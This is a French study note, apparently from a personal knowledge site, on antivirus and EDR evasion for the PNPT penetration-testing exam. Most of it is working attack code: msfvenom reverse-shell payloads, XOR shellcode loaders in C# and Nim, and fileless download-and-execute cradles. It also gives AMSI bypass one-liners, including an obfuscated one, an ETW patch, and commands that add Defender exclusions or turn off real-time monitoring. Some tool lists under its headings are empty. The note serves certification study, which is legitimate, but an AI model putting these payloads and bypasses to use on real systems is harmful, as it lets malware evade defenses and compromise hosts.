Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Certifications › PNPT-cert › 15-av-evasion
May 18, 2026

AV / EDR Evasion (PNPT)

L’évasion AV/EDR, c’est l’écart entre “j’ai un exploit qui marche en lab” et “j’ai un exploit qui marche contre un Windows réel”. À l’examen PNPT, sans bypass, ton premier reverse.exe est intercepté avant même de toucher la mémoire — et tu perds plusieurs heures. Cette note explique les mécanismes de défense, puis les contournements, dans l’ordre où on les rencontre.

Comprendre la défense avant l’évasion§

   Défense AV/EDR Windows moderne — où chaque couche intercepte

   ┌──────────────────────────────────────────────────────────┐
   │ Fichier sur disque                                       │
   │   ↓                                                      │
   │   ► Scan signature (statique)        ← Defender + AMSI   │
   │   ► Analyse heuristique              ← Behavioral        │
   │   ↓                                                      │
   │ Exécution / lancement                                    │
   │   ↓                                                      │
   │   ► AMSI (PowerShell, VBA, JS)       ← Microsoft Defender│
   │   ► ETW (Event Tracing for Windows)  ← Telemetry         │
   │   ► API hooks (ntdll, kernel32)      ← EDR userland      │
   │   ↓                                                      │
   │ Comportement                                             │
   │   ↓                                                      │
   │   ► Détection comportementale        ← EDR (CrowdStrike, │
   │   ► Cloud sandbox                       SentinelOne...)  │
   └──────────────────────────────────────────────────────────┘

Chaque technique d’évasion vise une couche précise. Combiner les techniques est obligatoire pour les EDR modernes.

Concepts clés§

Signature-based     : compare le fichier à une base de signatures connues
                      → contournée par obfuscation et chiffrement

Heuristic/Behavioral: analyse les patterns suspects (allocation RWX, etc.)
                      → contournée par execution plus discrète

Sandbox analysis    : exécution dans VM avant validation
                      → contournée par anti-VM (sleeps, environment checks)

AMSI                : interface Windows qui inspecte les scripts (PS, VBA, JS)
                      → contournée par patch en mémoire ou downgrade

ETW                 : tracing pour Defender et EDR
                      → patch en mémoire pour réduire la télémétrie

API hooks           : EDR hooke les Nt* dans ntdll pour observer
                      → direct/indirect syscalls les contournent

Niveau 1 — Obfuscation simple (signatures de base)§

Suffit pour Windows Defender basique, pas pour EDR.

# msfvenom avec encodeur (basique, souvent détecté en 2026)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=443 \
  -e x64/zutto_dekiru -i 5 -f exe -o payload.exe

# Préférer : générer du shellcode brut et l'encapsuler soi-même
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f raw -o shellcode.bin
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f csharp   # pour loader C#

Pourquoi -i 5 (5 itérations) ne suffit plus : les signatures couvrent maintenant la structure de l’encodeur, pas juste le shellcode initial. Tu peux faire 50 itérations, Defender détecte toujours.

Niveau 2 — Chiffrement du shellcode + loader§

Le shellcode est chiffré (XOR ou AES) à la compilation, déchiffré en mémoire à l’exécution. La signature statique ne voit que du bruit chiffré.

# XOR simple en Python (à l'encodage)
key = 0x41
encrypted = bytes([b ^ key for b in shellcode])
// Loader C# minimal
byte[] buf = new byte[] { /* shellcode chiffré */ };
for (int i = 0; i < buf.Length; i++) {
    buf[i] = (byte)(buf[i] ^ 0x41);
}
// Puis VirtualAlloc + Marshal.Copy + CreateThread

Niveau 3 — Exécution en mémoire (fileless)§

Ne jamais écrire le payload sur disque. Le scanner statique n’a rien à scanner.

# Charger et exécuter un script en mémoire
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/script.ps1')

# Reflection Assembly — charger un .NET en mémoire
$data = (New-Object Net.WebClient).DownloadData('http://10.0.0.1/payload.exe')
[System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, $null)

Limite : depuis PowerShell 5, AMSI inspecte le contenu téléchargé avant exécution. → niveau 4.

Niveau 4 — Bypass AMSI§

AMSI (Antimalware Scan Interface) inspecte les scripts PowerShell, VBA, JS. Il faut soit le casser, soit le contourner.

# Variante 1 — patch en mémoire de amsiInitFailed (souvent signée)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Variante 2 — version obfusquée
$a=[Ref].Assembly.GetTypes();ForEach($b in $a){if ($b.Name -like "*siUtils") {$c=$b}};
$d=$c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}};
$f.SetValue($null,$true)

# Variante 3 — patch en mémoire de AmsiScanBuffer (plus stable, nécessite reflection complexe)
# Outils tout-faits : AMSI.fail, Invisi-Shell, AmsiBypass-Reflection

# Variante 4 — downgrade PowerShell v2 (pas d'AMSI)
powershell -version 2
# Nécessite .NET 2.0/3.5 installé sur la cible

À retenir : les bypass AMSI publiquement connus sont signés rapidement. Générer une variante jetable sur amsi.fail ou s’écrire la sienne.

Niveau 5 — ETW patching§

ETW (Event Tracing for Windows) alimente Defender et la plupart des EDR. Le patcher en mémoire réduit la télémétrie.

// Patcher EtwEventWrite : faire qu'il retourne immédiatement
IntPtr addr = GetProcAddress(LoadLibrary("ntdll.dll"), "EtwEventWrite");
byte[] patch = { 0xC3 };   // ret (instruction x64)
VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out uint old);
Marshal.Copy(patch, 0, addr, patch.Length);

Outils prêts : EtwTi-Bypass, SharpBlock.

Niveau 6 — Direct/Indirect syscalls (EDR userland)§

Les EDR injectent des hooks dans ntdll.dll pour observer les appels Nt* (NtAllocateVirtualMemory, NtCreateThreadEx, etc.). En appelant les syscalls directement (sans passer par ntdll), on contourne ces hooks.

   Appel classique :
     VirtualAlloc → ntdll!NtAllocateVirtualMemory → syscall

                          │ HOOK EDR ICI
                          │ (l'EDR voit et enregistre)

   Direct syscall :
     [code custom] → syscall directement (numéro 0x18 sur Win11)

                     pas de hook traversé

Outils :

Niveau 7 — Loaders custom (Nim / Rust / C++)§

Compiler son loader en Nim ou Rust donne souvent un binaire avec moins de signatures que C# (langages moins courants en malware → moins de patterns détectés).

# Nim - exemple simplifié avec winim
import winim/lean
var sc = @[byte 0x90, 0x90, ...]   # shellcode déjà déchiffré
var mem = VirtualAlloc(nil, sc.len.SIZE_T, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
copyMem(mem, addr sc[0], sc.len)
discard CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](mem), nil, 0, nil)

Outils tout-faits :

Niveau 8 — Cobalt Strike / Havoc et frameworks C2§

Pour le pentest réel (et pour aller au-delà de la PNPT) :

À la PNPT, Cobalt Strike n’est pas nécessaire — un loader custom Nim/C# bien fait suffit.

Contournement egress (filtrage réseau sortant)§

Si le réseau bloque certains ports en sortie :

# Utiliser des ports couramment autorisés
# 443 (HTTPS), 80 (HTTP), 53 (DNS)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f exe -o shell.exe

# Tunnel DNS — si seul DNS sort
# dnscat2, iodine

# Tunnel HTTP/HTTPS reverse — Havoc / Cobalt Strike intègrent ça nativement
# Tester quels ports sortent depuis une cible (sans nmap)
1..1024 | % {
  $tcp = New-Object Net.Sockets.TcpClient
  try { $tcp.Connect("10.0.0.1", $_); "$_ open" } catch { }
  $tcp.Close()
}

Defender exclusions (après admin)§

Une fois SYSTEM/admin, on peut blanchir des chemins/extensions. C’est bruyant (visible dans les logs), mais utile pour la persistance.

# Lister les exclusions actuelles
Get-MpPreference | Select-Object -Property Exclusion*

# Ajouter une exclusion
Add-MpPreference -ExclusionPath "C:\Temp"
Add-MpPreference -ExclusionExtension ".exe"
Add-MpPreference -ExclusionProcess "powershell.exe"

# Désactiver Real-Time Monitoring (très bruyant — déclenche des alertes)
Set-MpPreference -DisableRealtimeMonitoring $true

Workflow recommandé pour la PNPT§

   1. Générer du shellcode raw avec msfvenom (-f raw)
   2. Chiffrer le shellcode (AES ou XOR avec clé suffisamment longue)
   3. Embarquer dans un loader Nim ou C# avec :
        - Déchiffrement en mémoire
        - VirtualAlloc + CreateThread
   4. Tester sur une VM Windows avec Defender à jour
   5. Si détecté → ajouter AMSI bypass + ETW patch
   6. Si toujours détecté → recompiler avec strings différentes
   7. JAMAIS upload sur VirusTotal (partage avec éditeurs)

Pièges courants§

—The Gardener